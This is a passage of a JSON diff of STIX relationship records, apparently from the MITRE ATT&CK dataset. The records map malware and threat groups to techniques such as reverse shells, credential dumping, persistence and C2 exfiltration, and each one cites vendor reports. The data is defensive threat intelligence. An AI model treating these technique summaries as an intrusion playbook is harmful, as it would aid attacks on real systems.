"malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4", + "modified": "2019-06-10T18:25:51.487Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PaloAlto CardinalRat Apr 2017", + "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) can deobfuscate the main backdoor code.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T17:13:11.897Z", + "id": "relationship--1477187e-7bd8-4622-8c2d-e5978c1fd29f", + "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37", + "modified": "2019-04-22T22:36:52.935Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ClearSky MuddyWater Nov 2018", + "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.", + "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has collected the IP address and network adapter information from the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T17:43:28.254Z", + "id": "relationship--ba18af0c-8b4d-4be0-9b62-f29207856ea9", + "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383", + "modified": "2019-01-31T18:48:52.138Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Securelist Darkhotel Aug 2015", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2015, August 10). Darkhotel's attacks in 2015. Retrieved November 2, 2018.", + "url": "https://securelist.com/darkhotels-attacks-in-2015/71713/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[Night Dragon](https://attack.mitre.org/groups/G0014) has dumped account hashes with [Carbanak](https://attack.mitre.org/groups/G0008) and cracked them with Cain & Abel.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T18:02:59.285Z", + "id": "relationship--3ba4ec9e-24eb-4255-aae7-f314f1176335", + "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8", + "modified": "2019-03-25T14:36:29.782Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "source_name": "McAfee Night Dragon", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[Cannon](https://attack.mitre.org/software/S0351) can obtain victim drive information as well as a list of folders in C:\\Program Files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T18:58:04.056Z", + "id": "relationship--b3c69087-f989-4f93-924a-0d6df6c75315", + "source_ref": "malware--d20b397a-ea47-48a9-b503-2e2a3551e11d", + "modified": "2019-04-22T19:48:08.910Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit42 Cannon Nov 2018", + "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "description": "[NOKKI](https://attack.mitre.org/software/S0353) uses a unique, custom de-obfuscation technique.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T19:50:46.679Z", + "id": "relationship--be07fb4e-06db-4bb0-a1e0-23f34b24a97f", + "source_ref": "malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a", + "modified": "2019-01-31T00:38:09.333Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit 42 NOKKI Sept 2018", + "description": "Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[Final1stspy](https://attack.mitre.org/software/S0355) creates a Registry Run key to establish persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31T00:23:06.386Z", + "id": "relationship--11471266-5136-4cd8-a1ef-d847f33ab6de", + "source_ref": "malware--a2282af0-f9dd-4373-9b92-eaf9e11e0c71", + "modified": "2019-01-31T00:23:06.386Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit 42 Nokki Oct 2018", + "description": "Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--62dfd1ca-52d5-483c-a84b-d6e80bf94b7b", + "description": "[APT32](https://attack.mitre.org/groups/G0050) modified Windows Services to ensure PowerShell scripts were loaded on the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31T01:07:58.556Z", + "id": "relationship--985d9421-aa06-4362-a7b6-5ca8504dcfa6", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "modified": "2019-07-17T13:11:37.848Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--26c87906-d750-42c5-946c-d4162c73fc7b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-31T01:41:58.450Z", + "id": "relationship--41354e6e-8250-43f9-864a-80c05dfb4443", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "modified": "2019-03-22T20:13:49.665Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "source_name": "US-CERT TA18-074A", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + }, + { + "source_name": "US-CERT APT Energy Oct 2017", + "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A" + }, + { + "description": "Core Security. (n.d.). Impacket. Retrieved November 2, 2017.", + "source_name": "Core Security Impacket", + "url": "https://www.coresecurity.com/corelabs-research/open-source-tools/impacket" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "description": "[DownPaper](https://attack.mitre.org/software/S0186) uses PowerShell for execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--e3909a5f-ebfb-48e1-b0fc-5737217a994b", + "source_ref": "malware--e48df773-7c95-4a4c-ba70-ea3d15900148", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.", + "source_name": "ClearSky Charming Kitten Dec 2017", + "url": "http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790", + "description": "[hcdLoader](https://attack.mitre.org/software/S0071) installs itself as a service for persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--8d976244-6d4e-443a-98c0-52fe1d94c388", + "source_ref": "malware--9e2bba94-950b-4fcf-8070-cb3f816c5f4e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Carvey, H.. (2014, September 2). Where you AT?: Indicators of lateral movement using at.exe on Windows 7 systems. Retrieved January 25, 2016.", + "source_name": "Dell Lateral Movement", + "url": "http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/" + }, + { + "description": "Shelmire, A.. (2015, July 6). Evasive Maneuvers. Retrieved January 22, 2016.", + "source_name": "ThreatStream Evasion Analysis", + "url": "https://www.threatstream.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044", + "description": "[HARDRAIN](https://attack.mitre.org/software/S0246) opens the Windows Firewall to modify incoming connections.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--e1614b27-52c5-41e5-bbcb-ab08a9a5e85c", + "source_ref": "malware--bd0536d7-b081-43ae-a773-cfb057c5b988", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, February 05). Malware Analysis Report (MAR) - 10135536-F. Retrieved June 11, 2018.", + "source_name": "US-CERT HARDRAIN March 2018", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-F.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790", + "description": "[Shamoon](https://attack.mitre.org/software/S0140) creates a new service named \u201cntssrv\u201d to execute the payload.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--4e9c5234-65e9-4b4a-bc13-891e7aed84b2", + "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3", + "modified": "2019-04-24T23:59:16.229Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.", + "source_name": "Palo Alto Shamoon Nov 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[TEXTMATE](https://attack.mitre.org/software/S0146) executes cmd.exe to provide a reverse shell to adversaries.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--b8e6bb17-9652-464d-8e5d-bd21e1f69a2e", + "source_ref": "malware--4f6aa78c-c3d4-4883-9840-96ca2f5d6d47", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Miller, S., et al. (2017, March 7). FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings. Retrieved March 8, 2017.", + "source_name": "FireEye FIN7 March 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html" + }, + { + "description": "Brumaghin, E. and Grady, C.. (2017, March 2). Covert Channels and Poor Decisions: The Tale of DNSMessenger. Retrieved March 8, 2017.", + "source_name": "Cisco DNSMessenger March 2017", + "url": "http://blog.talosintelligence.com/2017/03/dnsmessenger.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[QuasarRAT](https://attack.mitre.org/software/S0262) can obtain passwords from common browsers and FTP clients.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--9f0f23ed-644d-44f5-bee9-c3f44f04a6d8", + "source_ref": "tool--da04ac30-27da-4959-a67d-450ce47d9470", + "modified": "2019-06-24T19:05:41.509Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub QuasarRAT", + "description": "MaxXor. (n.d.). QuasarRAT. Retrieved July 10, 2018.", + "url": "https://github.com/quasar/QuasarRAT" + }, + { + "source_name": "Volexity Patchwork June 2018", + "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.", + "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[ipconfig](https://attack.mitre.org/software/S0100) can be used to display adapter configuration on Windows systems, including information for TCP/IP, DNS, and DHCP.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--b91e06c1-9546-4184-9552-ba501bf9182e", + "source_ref": "tool--294e2560-bd48-44b2-9da2-833b5588ad11", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "description": "[RogueRobin](https://attack.mitre.org/software/S0270) uses PowerShell for execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--e58abef6-2089-4f55-b5ee-9fc24378b52f", + "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122", + "modified": "2019-04-24T23:55:43.266Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", + "source_name": "Unit 42 DarkHydrus July 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/" + }, + { + "description": "Lee, B., Falcone, R. (2019, January 18). DarkHydrus delivers new Trojan that can use Google Drive for C2 communications. Retrieved April 17, 2019.", + "source_name": "Unit42 DarkHydrus Jan 2019", + "url": "https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) uses HTTPS to communicate with its C2 servers, to get malware updates, modules that perform most of the malware logic and various configuration files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--e882b88e-7731-4bee-a644-c02f9aff2306", + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "modified": "2019-06-24T19:15:06.427Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Salinas, M., Holguin, J. (2017, June). Evolution of Trickbot. Retrieved July 31, 2018.", + "source_name": "S2 Grupo TrickBot June 2017", + "url": "https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "description": "[S-Type](https://attack.mitre.org/software/S0085) may create the file %HOMEPATH%\\Start Menu\\Programs\\Startup\\Realtek {Unique Identifier}.lnk, which points to the malicious msdtc.exe file already created in the %CommonFiles% directory.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--907df22e-fdfe-4b93-8b18-ebf66f83868c", + "source_ref": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "source_name": "Cylance Dust Storm", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce", + "description": "[Sys10](https://attack.mitre.org/software/S0060) collects the group name of the logged-in user and sends it to the C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--2cfa6113-1995-494a-b767-61d3f371e0ea", + "source_ref": "malware--7f8730af-f683-423f-9ee1-5f6875a80481", + "modified": "2019-05-03T16:44:41.770Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "source_name": "Baumgartner Naikon 2015", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00", + "description": "[APT37](https://attack.mitre.org/groups/G0067) credential stealer ZUMKONG emails credentials from the victim using HTTP POST requests.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--3ae56775-2a8a-45f1-a2c0-d37f61cfb3e9", + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "modified": "2019-09-09T19:12:32.653Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "source_name": "FireEye APT37 Feb 2018", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) compromised user credentials and used valid accounts for operations.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--f4ab77d2-1227-46ac-a4be-f8078072dac7", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "modified": "2019-03-22T20:13:49.451Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "source_name": "US-CERT TA18-074A", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", + "description": "[FIN6](https://attack.mitre.org/groups/G0037) used publicly available tools (including Microsoft's built-in SQL querying tool, osql.exe) to map the internal network and conduct reconnaissance against Active Directory, Structured Query Language (SQL) servers, and NetBIOS.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.071Z", + "id": "relationship--b1c49faa-0b6f-4a0e-85da-5ab8ddeab2ce", + "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", + "modified": "2019-06-28T14:59:17.705Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye FIN6 April 2016", + "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware KiloAlfa contains keylogging functionality.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.068Z", + "id": "relationship--7f695d14-17e1-46c6-92eb-7c2f57fc6553", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": "2019-09-09T19:15:44.927Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster Tools", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Tools Report. Retrieved March 10, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Tools-Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", + "description": "[Koadic](https://attack.mitre.org/software/S0250) can scan for open TCP ports on the target network.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--72f5ca9f-6b0e-4051-b2ae-da1b59e6ed2b", + "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.", + "source_name": "Github Koadic", + "url": "https://github.com/zerosum0x0/koadic" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f", + "description": "[RTM](https://attack.mitre.org/software/S0148) collects data from the clipboard.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--1e03e95c-1c9a-4fa8-9d6d-b5d244b06509", + "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Faou, M. and Boutin, J.. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.", + "source_name": "ESET RTM Feb 2017", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", + "description": "[OSInfo](https://attack.mitre.org/software/S0165) enumerates the current network connections similar to net use .", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--8336111f-565e-4294-8b18-182c26da2421", + "source_ref": "malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", + "source_name": "Symantec Buckeye", + "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "description": "A [Threat Group-3390](https://attack.mitre.org/groups/G0027) tool can spawn svchost.exe and inject the payload into that process.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--17af5c1a-7912-40af-b7b9-f68f0a15977d", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "modified": "2019-07-14T21:15:55.002Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Nccgroup Emissary Panda May 2018", + "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/may/emissary-panda-a-potential-new-malicious-tool/" + }, + { + "source_name": "Securelist LuckyMouse June 2018", + "description": "Legezo, D. (2018, June 13). LuckyMouse hits national data center to organize country-level waterholing campaign. Retrieved August 18, 2018.", + "url": "https://securelist.com/luckymouse-hits-national-data-center/86083/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[Bisonal](https://attack.mitre.org/software/S0268) deletes its dropper and VBS scripts from the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--152f2412-dbba-48b7-bbe9-612798f3ac23", + "source_ref": "malware--65ffc206-d7c1-45b3-b543-f6b726e7840d", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018.", + "source_name": "Unit 42 Bisonal July 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", + "description": "[Bankshot](https://attack.mitre.org/software/S0239) exfiltrates data over its C2 channel.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--cb297293-d9bb-484a-a9fb-b7b09477d38f", + 